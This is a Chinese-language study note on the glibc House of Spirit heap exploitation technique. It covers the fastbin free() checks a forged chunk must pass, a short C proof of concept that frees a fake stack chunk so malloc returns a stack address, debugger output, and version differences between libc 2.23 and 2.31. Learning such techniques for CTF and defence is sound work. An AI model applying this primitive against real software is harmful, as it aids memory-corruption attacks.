0%

House Of Spirit-原理

House Of Spirit

House Of Spirit 是 Fastbin Attack 中的一种,也是 the Malloc Maleficarum 中的一种技术

通过free技术来达到任意地址读写的目的(WAA):技术中利用free函数来释放一个原本属于栈中的一块地址(伪造为 fake chunk ),将地址free到堆的bin链中,然后实现对栈地址的读写

​ // 当然也可以不在栈中,任意可写的段都可以


Fastbin检查机制

  • fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理
  • fake chunk 地址需要对齐, MALLOC_ALIGN_MASK
  • fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐
  • fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem
  • fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况

主要是检查当前chunk的size,和下一个chunk的size

House Of Spirit 利用姿势

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
#include <stdlib.h>

int main()
{
unsigned long long *a;
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
malloc(1);

fake_chunks[1] = 0x40;//fake_size
fake_chunks[9] = 0x1234;//fake_nextsize(可有可无)
a = &fake_chunks[2];

fprintf(stderr,"fake_chunks: %p\n",&fake_chunks[2]);

free(a);
fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
return 0;
}
1
2
3
fake_chunks: 0x7fffffffdcc0
malloc(0x30): 0x7fffffffdcc0
malloc(0x30): 0x5555555592c0

可以发现:函数“free”把栈上的“fake_chunks”送入了“tcachebins”

1
2
3
4
5
6
7
pwndbg> bins
tcachebins
0x40 [1]: 0x7fffffffdcc0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0

​ // 这里的“fake_chunks”被送入了“tcachebins”,如果是低libc版本就送入“fastbins”

house of spirit 简单的来说就是 free 一个假的 fastbin 堆块,然后再下次 malloc 的时候就会返回该假堆块

利用条件:

  • 需要修改模块,不需要控制free模块的参数:申请到堆上,把目标地址写入修改模块的控制范围
  • 需要控制free模块的参数,不需要修改模块:申请到栈上,用目标地址覆盖返回地址
  • 在“计数器”后面存在可以控制的区域,同时修改模块也可以在此处写入内容(也可以获取现成的数字)

版本对 House Of Spirit 的影响

不同 libc 的版本“释放检查”不同,像 libc-2.23 就只有上文的两个检查,后续会尽量把不同版本的 House Of Spirit 都复现一遍,直到完全没法打为止

libc-2.23

上文提到的,基本的 free 检查

1
2
3
4
5
6
7
8
9
10
11
//检查p的大小是否小于global_max_fast
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
#if TRIM_FASTBINS
//检查p物理相邻的堆块是否是top chunk
&& (chunk_at_offset(p, size) != av->top)
#endif
)
//检查p的物理相邻下个堆块是否存在,且大小是否满足最小和最大要求
if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))

libc-2.27

多了一个检查

1
2
3
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|| __builtin_expect (misaligned_chunk (p), 0))
malloc_printerr ("free(): invalid pointer");

检查下一个 chunk 的 pre_size 是否为 NULL,一般在伪造 size 的时候多写一步就可以了

后续版本都没有添加新的检查(最新测试到 libc-2.31)

注意

在64位的程序中:可以轻易实现 House Of Spirit(至少在 libc-2.31及其之前的版本是这样)

但是在32位的程序中:只有在 libc-2.23 版本成功实现 House Of Spirit,其他版本均报错

1
free():invalid pointer

看了源码,定位了报错的位置,但是还是不知道原因……